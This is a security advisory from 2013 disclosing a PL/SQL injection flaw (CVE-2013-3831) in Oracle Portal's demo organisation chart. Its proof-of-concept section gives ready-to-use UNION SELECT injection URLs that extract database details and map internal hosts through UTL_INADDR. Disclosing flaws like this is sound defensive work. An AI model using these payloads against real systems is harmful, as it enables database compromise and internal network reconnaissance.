From: ISecAuditors Security Advisories <advisories () isecauditors com>
Date: Wed, 16 Oct 2013 10:26:06 +0200

=============================================
INTERNET SECURITY AUDITORS ALERT 2012-001
- Original release date: November 8th, 2012
- Last revised:  March 20th, 2013
- Discovered by: Manuel Garcia Cardenas
- Severity: 7,1/10 (CVSS Base Score)
- CVE-ID: CVE-2013-3831
=============================================

I. VULNERABILITY
-------------------------
PL/SQL Injection in Oracle Portal Demo Organization Chart

II. BACKGROUND
-------------------------
Web Organization Chart (Ora Version) is used to connect to the Oracle
database. Ora version of "Web Organization Chart" selects information
from the Oracle

(HR) tables and converts it into a format that is readable for the
Orgchart software.

III. DESCRIPTION
-------------------------
This bug was found using the demo portal PORTAL_DEMO.ORG_CHART.SHOW. To
exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to

interact with the application. It is possible to inject SQL code in the
variable "p_arg_values".

IV. PROOF OF CONCEPT
-------------------------
*** SQL Injection ***

Version:
/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?

p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union

+select+banner,null,null,null,null+from+v$version--

User:
/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?

p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union

+select+user,null,null,null,null+from+dual--

Actual Database:
/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?

p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union

+select+global_name,null,null,null,null+from+global_name--

Lists of Databases:
/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?

p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union

+select+owner,null,null,null,null+from+all_tables--

*** PL/SQL Injection ***

For example, using the function UTL_INADDR.get_host_address we can found
the internal address:

/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?

p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union

+select+UTL_INADDR.get_host_address,null,null,null,null+from+dual--

Using a bruteforce attack on the range obtained and the function
UTL_INADDR.get_host_name(), we can acquire a list of internal hosts:

/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?

p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value

%27union+select+UTL_INADDR.get_host_name('INTERNALs-IP'),null,null,null,null+from+dual--

V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete

compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
-------------------------
Demo Page of Oracle Portal Demo Organization Chart.

VII. SOLUTION
-------------------------
All data received by the application and can be modified by the user,
before making any kind of transaction with them must be validated.
